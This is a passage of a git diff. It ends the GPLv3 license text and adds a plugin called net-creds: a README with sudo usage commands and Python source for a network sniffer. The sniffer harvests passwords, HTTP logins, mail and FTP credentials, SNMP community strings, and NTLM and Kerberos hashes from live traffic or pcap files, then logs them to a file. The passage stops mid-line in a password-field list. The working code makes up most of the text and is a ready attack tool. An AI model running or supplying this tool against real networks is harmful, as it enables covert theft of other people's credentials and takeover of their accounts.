which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. diff --git a/plugins/external/net-creds/README.md b/plugins/external/net-creds/README.md new file mode 100644 index 0000000..e5e5871 --- /dev/null +++ b/plugins/external/net-creds/README.md @@ -0,0 +1,64 @@ +Thoroughly sniff passwords and hashes from an interface or pcap file. Concatenates fragmented packets and does not rely on ports for service identification. + +| Screenshots | +|:-----:| +| ![Screenie1](http://imgur.com/opQo7Bb.png) | +| ![Screenie2](http://imgur.com/Kl5I6Ju.png) | + +###Sniffs + +* URLs visited +* POST loads sent +* HTTP form logins/passwords +* HTTP basic auth logins/passwords +* HTTP searches +* FTP logins/passwords +* IRC logins/passwords +* POP logins/passwords +* IMAP logins/passwords +* Telnet logins/passwords +* SMTP logins/passwords +* SNMP community string +* NTLMv1/v2 all supported protocols like HTTP, SMB, LDAP, etc +* Kerberos + + +###Examples + +Auto-detect the interface to sniff + +```sudo python net-creds.py``` + +Choose eth0 as the interface + +```sudo python net-creds.py -i eth0``` + +Ignore packets to and from 192.168.0.2 + +```sudo python net-creds.py -f 192.168.0.2``` + +Read from pcap + +```python net-creds.py -p pcapfile``` + + +####OSX + +Credit to [epocs](https://github.com/epocs): +``` +sudo easy_install pip +sudo pip install scapy +sudo pip install pcapy +brew install libdnet --with-python +mkdir -p /Users//Library/Python/2.7/lib/python/site-packages +echo 'import site; site.addsitedir("/usr/local/lib/python2.7/site-packages")' >> /Users//Library/Python/2.7/lib/python/site-packages/homebrew.pth +sudo pip install pypcap +brew tap brona/iproute2mac +brew install iproute2mac +``` +Then replace line 74 '/sbin/ip' with '/usr/local/bin/ip'. + + +####Thanks +* Laurent Gaffie +* psychomario diff --git a/plugins/external/net-creds/net-creds.py b/plugins/external/net-creds/net-creds.py new file mode 100644 index 0000000..cb6dd98 --- /dev/null +++ b/plugins/external/net-creds/net-creds.py @@ -0,0 +1,995 @@ +#!/usr/bin/env python2 + +from os import geteuid, devnull +import logging +# shut up scapy +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +from scapy.all import * +conf.verb=0 +from sys import exit +import binascii +import struct +import argparse +import signal +import base64 +from urllib import unquote +from subprocess import Popen, PIPE +from collections import OrderedDict +from BaseHTTPServer import BaseHTTPRequestHandler +from StringIO import StringIO +from urllib import unquote +import binascii +# Debug +#from IPython import embed + +########################## +# Potention ToDo: +# MySQL seed:hash +# VNC +# Oracle? +# Add file carving from dissectors.py +######################### + +# Unintentional code contributors: +# Laurent Gaffie +# psychomario + +logging.basicConfig(filename='credentials.txt',level=logging.INFO) +DN = open(devnull, 'w') +pkt_frag_loads = OrderedDict() +challenge_acks = OrderedDict() +mail_auths = OrderedDict() +telnet_stream = OrderedDict() + +# Regexs +authenticate_re = '(www-|proxy-)?authenticate' +authorization_re = '(www-|proxy-)?authorization' +ftp_user_re = r'USER (.+)\r\n' +ftp_pw_re = r'PASS (.+)\r\n' +irc_user_re = r'NICK (.+?)((\r)?\n|\s)' +irc_pw_re = r'NS IDENTIFY (.+)' +irc_pw_re2 = 'nickserv :identify (.+)' +mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' +mail_auth_re1 = '(\d+ )?login ' +NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' +NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' +# Prone to false+ but prefer that to false- +http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|command|terms|keys|question|kwd|searchPhrase)=([^&][^&]*))' + +#Console colors +W = '\033[0m' # white (normal) +T = '\033[93m' # tan + +def parse_args(): + """Create the arguments""" + parser = argparse.ArgumentParser() + parser.add_argument("-i", "--interface", help="Choose an interface") + parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p ") + parser.add_argument("-f", "--filterip", help="Do not sniff packets from this IP address; -f 192.168.0.4") + parser.add_argument("-v", "--verbose", help="Display entire URLs and POST loads rather than truncating at 100 characters", action="store_true") + return parser.parse_args() + +def iface_finder(): + try: + ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN) + for line in ipr.communicate()[0].splitlines(): + if 'default' in line: + l = line.split() + iface = l[4] + return iface + except IOError: + exit('[-] Could not find an internet active interface; please specify one with -i ') + +def frag_remover(ack, load): + ''' + Keep the FILO OrderedDict of frag loads from getting too large + 3 points of limit: + Number of ip_ports < 50 + Number of acks per ip:port < 25 + Number of chars in load < 5000 + ''' + global pkt_frag_loads + + # Keep the number of IP:port mappings below 50 + # last=False pops the oldest item rather than the latest + while len(pkt_frag_loads) > 50: + pkt_frag_loads.popitem(last=False) + + # Loop through a deep copy dict but modify the original dict + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + if len(copy_pkt_frag_loads[ip_port]) > 0: + # Keep 25 ack:load's per ip:port + while len(copy_pkt_frag_loads[ip_port]) > 25: + pkt_frag_loads[ip_port].popitem(last=False) + + # Recopy the new dict to prevent KeyErrors for modifying dict in loop + copy_pkt_frag_loads = copy.deepcopy(pkt_frag_loads) + for ip_port in copy_pkt_frag_loads: + # Keep the load less than 75,000 chars + for ack in copy_pkt_frag_loads[ip_port]: + # If load > 5000 chars, just keep the last 200 chars + if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: + pkt_frag_loads[ip_port][ack] = pkt_frag_loads[ip_port][ack][-200:] + +def frag_joiner(ack, src_ip_port, load): + ''' + Keep a store of previous fragments in an OrderedDict named pkt_frag_loads + ''' + for ip_port in pkt_frag_loads: + if src_ip_port == ip_port: + if ack in pkt_frag_loads[src_ip_port]: + # Make pkt_frag_loads[src_ip_port][ack] = full load + old_load = pkt_frag_loads[src_ip_port][ack] + concat_load = old_load + load + return OrderedDict([(ack, concat_load)]) + + return OrderedDict([(ack, load)]) + +def pkt_parser(pkt): + ''' + Start parsing packets here + ''' + global pkt_frag_loads, mail_auths + + if pkt.haslayer(Raw): + load = pkt[Raw].load + + # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control + if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): + return + + # UDP + if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): + + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) + + # SNMP community strings + if pkt.haslayer(SNMP): + parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) + return + + # Kerberos over UDP + decoded = Decode_Ip_Packet(str(pkt)[14:]) + kerb_hash = ParseMSKerbv5UDP(decoded['data'][8:]) + if kerb_hash: + printer(src_ip_port, dst_ip_port, kerb_hash) + + # TCP + elif pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt.haslayer(IP): + + ack = str(pkt[TCP].ack) + seq = str(pkt[TCP].seq) + src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) + dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) + frag_remover(ack, load) + pkt_frag_loads[src_ip_port] = frag_joiner(ack, src_ip_port, load) + full_load = pkt_frag_loads[src_ip_port][ack] + + # Limit the packets we regex to increase efficiency + # 750 is a bit arbitrary but some SMTP auth success pkts + # are 500+ characters + if 0 < len(full_load) < 750: + + # FTP + ftp_creds = parse_ftp(full_load, dst_ip_port) + if len(ftp_creds) > 0: + for msg in ftp_creds: + printer(src_ip_port, dst_ip_port, msg) + return + + # Mail + mail_creds_found = mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) + + # IRC + irc_creds = irc_logins(full_load, pkt) + if irc_creds != None: + printer(src_ip_port, dst_ip_port, irc_creds) + return + + # Telnet + telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) + + # HTTP and other protocols that run on TCP + a raw load + other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, parse_args().verbose) + +def telnet_logins(src_ip_port, dst_ip_port, load, ack, seq): + ''' + Catch telnet logins and passwords + ''' + global telnet_stream + + msg = None + + if src_ip_port in telnet_stream: + # Do a utf decode in case the client sends telnet options before their username + # No one would care to see that + try: + telnet_stream[src_ip_port] += load.decode('utf8') + except UnicodeDecodeError: + pass + + # \r or \r\n or \n terminate commands in telnet if my pcaps are to be believed + if '\r' in telnet_stream[src_ip_port] or '\n' in telnet_stream[src_ip_port]: + telnet_split = telnet_stream[src_ip_port].split(' ', 1) + cred_type = telnet_split[0] + value = telnet_split[1].replace('\r\n', '').replace('\r', '').replace('\n', '') + # Create msg, the return variable + msg = 'Telnet %s: %s' % (cred_type, value) + printer(src_ip_port, dst_ip_port, msg) + del telnet_stream[src_ip_port] + + # This part relies on the telnet packet ending in + # "login:", "password:", or "username:" and being <750 chars + # Haven't seen any false+ but this is pretty general + # might catch some eventually + # maybe use dissector.py telnet lib? + if len(telnet_stream) > 100: + telnet_stream.popitem(last=False) + mod_load = load.lower().strip() + if mod_load.endswith('username:') or mod_load.endswith('login:'): + telnet_stream[dst_ip_port] = 'username ' + elif mod_load.endswith('password:'): + telnet_stream[dst_ip_port] = 'password ' + +def ParseMSKerbv5TCP(Data): + ''' + Taken from Pcredz because I didn't want to spend the time doing this myself + I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? + Maybe replace this eventually with the kerberos python lib + Parses Kerberosv5 hashes from packets + ''' + try: + MsgType = Data[21:22] + EncType = Data[43:44] + MessageType = Data[32:33] + except IndexError: + return + + if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": + if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": + HashLen = struct.unpack(' 1: + lines = full_load.count('\r\n') + if lines > 1: + full_load = full_load.split('\r\n')[-2] # -1 is '' + return full_load + +def parse_ftp(full_load, dst_ip_port): + ''' + Parse out FTP creds + ''' + print_strs = [] + + # Sometimes FTP packets double up on the authentication lines + # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" + full_load = double_line_checker(full_load, 'USER') + + # FTP and POP potentially use idential client > server auth pkts + ftp_user = re.match(ftp_user_re, full_load) + ftp_pass = re.match(ftp_pw_re, full_load) + + if ftp_user: + msg1 = 'FTP User: %s' % ftp_user.group(1).strip() + print_strs.append(msg1) + if dst_ip_port[-3:] != ':21': + msg2 = 'Nonstandard FTP port, confirm the service that is running on it' + print_strs.append(msg2) + + elif ftp_pass: + msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() + print_strs.append(msg1) + if dst_ip_port[-3:] != ':21': + msg2 = 'Nonstandard FTP port, confirm the service that is running on it' + print_strs.append(msg2) + + return print_strs + +def mail_decode(src_ip_port, dst_ip_port, mail_creds): + ''' + Decode base64 mail creds + ''' + try: + decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') + decoded = decoded.replace('\x00', ' ') + except TypeError: + decoded = None + except UnicodeDecodeError as e: + decoded = None + + if decoded != None: + msg = 'Decoded: %s' % decoded + printer(src_ip_port, dst_ip_port, msg) + +def mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq): + ''' + Catch IMAP, POP, and SMTP logins + ''' + # Handle the first packet of mail authentication + # if the creds aren't in the first packet, save it in mail_auths + + # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] + global mail_auths + found = False + + # Sometimes mail packets double up on the authentication lines + # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" + full_load = double_line_checker(full_load, 'auth') + + # Client to server 2nd+ pkt + if src_ip_port in mail_auths: + if seq in mail_auths[src_ip_port][-1]: + stripped = full_load.strip('\r\n') + try: + decoded = base64.b64decode(stripped) + msg = 'Mail authentication: %s' % decoded + printer(src_ip_port, dst_ip_port, msg) + except TypeError: + pass + mail_auths[src_ip_port].append(ack) + + # Server responses to client + # seq always = last ack of tcp stream + elif dst_ip_port in mail_auths: + if seq in mail_auths[dst_ip_port][-1]: + # Look for any kind of auth failure or success + a_s = 'Authentication successful' + a_f = 'Authentication failed' + # SMTP auth was successful + if full_load.startswith('235') and 'auth' in full_load.lower(): + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_s) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + # SMTP failed + elif full_load.startswith('535 '): + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_f) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + # IMAP/POP/SMTP failed + elif ' fail' in full_load.lower(): + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_f) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + # IMAP auth success + elif ' OK [' in full_load: + # Reversed the dst and src + printer(dst_ip_port, src_ip_port, a_s) + found = True + try: + del mail_auths[dst_ip_port] + except KeyError: + pass + + # Pkt was not an auth pass/fail so its just a normal server ack + # that it got the client's first auth pkt + else: + if len(mail_auths) > 100: + mail_auths.popitem(last=False) + mail_auths[dst_ip_port].append(ack) + + # Client to server but it's a new TCP seq + # This handles most POP/IMAP/SMTP logins but there's at least one edge case + else: + mail_auth_search = re.match(mail_auth_re, full_load, re.IGNORECASE) + if mail_auth_search != None: + auth_msg = full_load + # IMAP uses the number at the beginning + if mail_auth_search.group(1) != None: + auth_msg = auth_msg.split()[1:] + else: + auth_msg = auth_msg.split() + # Check if its a pkt like AUTH PLAIN dvcmQxIQ== + # rather than just an AUTH PLAIN + if len(auth_msg) > 2: + mail_creds = ' '.join(auth_msg[2:]) + msg = 'Mail authentication: %s' % mail_creds + printer(src_ip_port, dst_ip_port, msg) + + mail_decode(src_ip_port, dst_ip_port, mail_creds) + try: + del mail_auths[src_ip_port] + except KeyError: + pass + found = True + + # Mail auth regex was found and src_ip_port is not in mail_auths + # Pkt was just the initial auth cmd, next pkt from client will hold creds + if len(mail_auths) > 100: + mail_auths.popitem(last=False) + mail_auths[src_ip_port] = [ack] + + # At least 1 mail login style doesn't fit in the original regex: + # 1 login "username" "password" + # This also catches FTP authentication! + # 230 Login successful. + elif re.match(mail_auth_re1, full_load, re.IGNORECASE) != None: + + # FTP authentication failures trigger this + #if full_load.lower().startswith('530 login'): + # return + + auth_msg = full_load + auth_msg = auth_msg.split() + if 2 < len(auth_msg) < 5: + mail_creds = ' '.join(auth_msg[2:]) + msg = 'Authentication: %s' % mail_creds + printer(src_ip_port, dst_ip_port, msg) + mail_decode(src_ip_port, dst_ip_port, mail_creds) + found = True + + if found == True: + return True + +def irc_logins(full_load, pkt): + ''' + Find IRC logins + ''' + user_search = re.match(irc_user_re, full_load) + pass_search = re.match(irc_pw_re, full_load) + pass_search2 = re.search(irc_pw_re2, full_load.lower()) + if user_search: + msg = 'IRC nick: %s' % user_search.group(1) + return msg + if pass_search: + msg = 'IRC pass: %s' % pass_search.group(1) + return msg + if pass_search2: + msg = 'IRC pass: %s' % pass_search2.group(1) + return msg + +def other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt, verbose): + ''' + Pull out pertinent info from the parsed HTTP packet data + ''' + user_passwd = None + http_url_req = None + method = None + http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] + http_line, header_lines, body = parse_http_load(full_load, http_methods) + headers = headers_to_dict(header_lines) + if 'host' in headers: + host = headers['host'] + else: + host = '' + + if http_line != None: + method, path = parse_http_line(http_line, http_methods) + http_url_req = get_http_url(method, host, path, headers) + if http_url_req != None: + if verbose == False: + if len(http_url_req) > 98: + http_url_req = http_url_req[:99] + '...' + printer(src_ip_port, None, http_url_req) + + # Print search terms + searched = get_http_searches(http_url_req, body, host) + if searched: + printer(src_ip_port, dst_ip_port, searched) + + # Print user/pwds + if body != '': + user_passwd = get_login_pass(body) + if user_passwd != None: + try: + http_user = user_passwd[0].decode('utf8') + http_pass = user_passwd[1].decode('utf8') + # Set a limit on how long they can be prevent false+ + if len(http_user) > 75 or len(http_pass) > 75: + return + user_msg = 'HTTP username: %s' % http_user + printer(src_ip_port, dst_ip_port, user_msg) + pass_msg = 'HTTP password: %s' % http_pass + printer(src_ip_port, dst_ip_port, pass_msg) + except UnicodeDecodeError: + pass + + # Print POST loads + # ocsp is a common SSL post load that's never interesting + if method == 'POST' and 'ocsp.' not in host: + try: + if verbose == False and len(body) > 99: + # If it can't decode to utf8 we're probably not interested in it + msg = 'POST load: %s...' % body[:99].encode('utf8') + else: + msg = 'POST load: %s' % body.encode('utf8') + printer(src_ip_port, None, msg) + except UnicodeDecodeError: + pass + + # Kerberos over TCP + decoded = Decode_Ip_Packet(str(pkt)[14:]) + kerb_hash = ParseMSKerbv5TCP(decoded['data'][20:]) + if kerb_hash: + printer(src_ip_port, dst_ip_port, kerb_hash) + + # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) + NTLMSSP2 = re.search(NTLMSSP2_re, full_load, re.DOTALL) + NTLMSSP3 = re.search(NTLMSSP3_re, full_load, re.DOTALL) + if NTLMSSP2: + parse_ntlm_chal(NTLMSSP2.group(), ack) + if NTLMSSP3: + ntlm_resp_found = parse_ntlm_resp(NTLMSSP3.group(), seq) + if ntlm_resp_found != None: + printer(src_ip_port, dst_ip_port, ntlm_resp_found) + + # Look for authentication headers + if len(headers) == 0: + authenticate_header = None + authorization_header = None + for header in headers: + authenticate_header = re.match(authenticate_re, header) + authorization_header = re.match(authorization_re, header) + if authenticate_header or authorization_header: + break + + if authorization_header or authenticate_header: + # NETNTLM + netntlm_found = parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) + if netntlm_found != None: + printer(src_ip_port, dst_ip_port, netntlm_found) + + # Basic Auth + parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header) + +def get_http_searches(http_url_req, body, host): + ''' + Find search terms from URLs. Prone to false positives but rather err on that side than false negatives + search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command + ''' + false_pos = ['i.stack.imgur.com'] + + searched = None + if http_url_req != None: + searched = re.search(http_search_re, http_url_req, re.IGNORECASE) + if searched == None: + searched = re.search(http_search_re, body, re.IGNORECASE) + + if searched != None and host not in false_pos: + searched = searched.group(3) + # Eliminate some false+ + try: + # if it doesn't decode to utf8 it's probably not user input + searched = searched.decode('utf8') + except UnicodeDecodeError: + return + # some add sites trigger this function with single digits + if searched in [str(num) for num in range(0,10)]: + return + # nobody's making >100 character searches + if len(searched) > 100: + return + msg = 'Searched %s: %s' % (host, unquote(searched.encode('utf8')).replace('+', ' ')) + return msg + +def parse_basic_auth(src_ip_port, dst_ip_port, headers, authorization_header): + ''' + Parse basic authentication over HTTP + ''' + if authorization_header: + # authorization_header sometimes is triggered by failed ftp + try: + header_val = headers[authorization_header.group()] + except KeyError: + return + b64_auth_re = re.match('basic (.+)', header_val, re.IGNORECASE) + if b64_auth_re != None: + basic_auth_b64 = b64_auth_re.group(1) + basic_auth_creds = base64.decodestring(basic_auth_b64) + msg = 'Basic Authentication: %s' % basic_auth_creds + printer(src_ip_port, dst_ip_port, msg) + +def parse_netntlm(authenticate_header, authorization_header, headers, ack, seq): + ''' + Parse NTLM hashes out + ''' + # Type 2 challenge from server + if authenticate_header != None: + chal_header = authenticate_header.group() + parse_netntlm_chal(headers, chal_header, ack) + + # Type 3 response from client + elif authorization_header != None: + resp_header = authorization_header.group() + msg = parse_netntlm_resp_msg(headers, resp_header, seq) + if msg != None: + return msg + +def parse_snmp(src_ip_port, dst_ip_port, snmp_layer): + ''' + Parse out the SNMP version and community string + ''' + if type(snmp_layer.community.val) == str: + ver = snmp_layer.version.val + msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) + printer(src_ip_port, dst_ip_port, msg) + return True + +def get_http_url(method, host, path, headers): + ''' + Get the HTTP method + URL from requests + ''' + if method != None and path != None: + + # Make sure the path doesn't repeat the host header + if host != '' and not re.match('(http(s)?://)?'+host, path): + http_url_req = method + ' ' + host + path + else: + http_url_req = method + ' ' + path + + http_url_req = url_filter(http_url_req) + + return http_url_req + +def headers_to_dict(header_lines): + ''' + Convert the list of header lines into a dictionary + ''' + headers = {} + # Incomprehensible list comprehension flattens list of headers + # that are each split at ': ' + # http://stackoverflow.com/a/406296 + headers_list = [x for line in header_lines for x in line.split(': ', 1)] + headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) + # Make the header key (like "Content-Length") lowercase + for header in headers_dict: + headers[header.lower()] = headers_dict[header] + + return headers + +def parse_http_line(http_line, http_methods): + ''' + Parse the header with the HTTP method in it + ''' + http_line_split = http_line.split() + method = '' + path = '' + + # Accounts for pcap files that might start with a fragment + # so the first line might be just text data + if len(http_line_split) > 1: + method = http_line_split[0] + path = http_line_split[1] + + # This check exists because responses are much different than requests e.g.: + # HTTP/1.1 407 Proxy Authentication Required ( Access is denied. ) + # Add a space to method because there's a space in http_methods items + # to avoid false+ + if method+' ' not in http_methods: + method = None + path = None + + return method, path + +def parse_http_load(full_load, http_methods): + ''' + Split the raw load into list of headers and body string + ''' + try: + headers, body = full_load.split("\r\n\r\n", 1) + except ValueError: + headers = full_load + body = '' + header_lines = headers.split("\r\n") + + # Pkts may just contain hex data and no headers in which case we'll + # still want to parse them for usernames and password + http_line = get_http_line(header_lines, http_methods) + if not http_line: + headers = '' + body = full_load + + header_lines = [line for line in header_lines if line != http_line] + + return http_line, header_lines, body + +def get_http_line(header_lines, http_methods): + ''' + Get the header with the http command + ''' + for header in header_lines: + for method in http_methods: + # / is the only char I can think of that's in every http_line + # Shortest valid: "GET /", add check for "/"? + if header.startswith(method): + http_line = header + return http_line + +def parse_netntlm_chal(headers, chal_header, ack): + ''' + Parse the netntlm server challenge + https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py + ''' + try: + header_val2 = headers[chal_header] + except KeyError: + return + header_val2 = header_val2.split(' ', 1) + # The header value can either start with NTLM or Negotiate + if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': + msg2 = header_val2[1] + msg2 = base64.decodestring(msg2) + parse_ntlm_chal(ack, msg2) + +def parse_ntlm_chal(msg2, ack): + ''' + Parse server challenge + ''' + global challenge_acks + + Signature = msg2[0:8] + try: + msg_type = struct.unpack(" 50: + challenge_acks.popitem(last=False) + challenge_acks[ack] = ServerChallenge + +def parse_netntlm_resp_msg(headers, resp_header, seq): + ''' + Parse the client response to the challenge + ''' + try: + header_val3 = headers[resp_header] + except KeyError: + return + header_val3 = header_val3.split(' ', 1) + + # The header value can either start with NTLM or Negotiate + if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': + try: + msg3 = base64.decodestring(header_val3[1]) + except binascii.Error: + return + return parse_ntlm_resp(msg3, seq) + +def parse_ntlm_resp(msg3, seq): + ''' + Parse the 3rd msg in NTLM handshake + Thanks to psychomario + ''' + + if seq in challenge_acks: + challenge = challenge_acks[seq] + else: + challenge = 'CHALLENGE NOT FOUND' + + if len(msg3) > 43: + # Thx to psychomario for below + lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) + lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) + nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) + domain = msg3[domoff:domoff+domlen].replace("\0", "") + user = msg3[useroff:useroff+userlen].replace("\0", "") + # Original check by psychomario, might be incorrect? + #if lmhash != "0"*48: #NTLMv1 + if ntlen == 24: #NTLMv1 + msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) + return msg + elif ntlen > 60: #NTLMv2 + msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) + return msg + +def url_filter(http_url_req): + ''' + Filter out the common but uninteresting URLs + ''' + if http_url_req: + d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff'] + if any(http_url_req.endswith(i) for i in d): + return + + return http_url_req + +def get_login_pass(body): + ''' + Regex out logins and passwords from a string + ''' + user = None + passwd = None + + # Taken mainly from Pcredz by Laurent Gaffie + userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', + 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', + 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', + 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', + 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] + passfields = 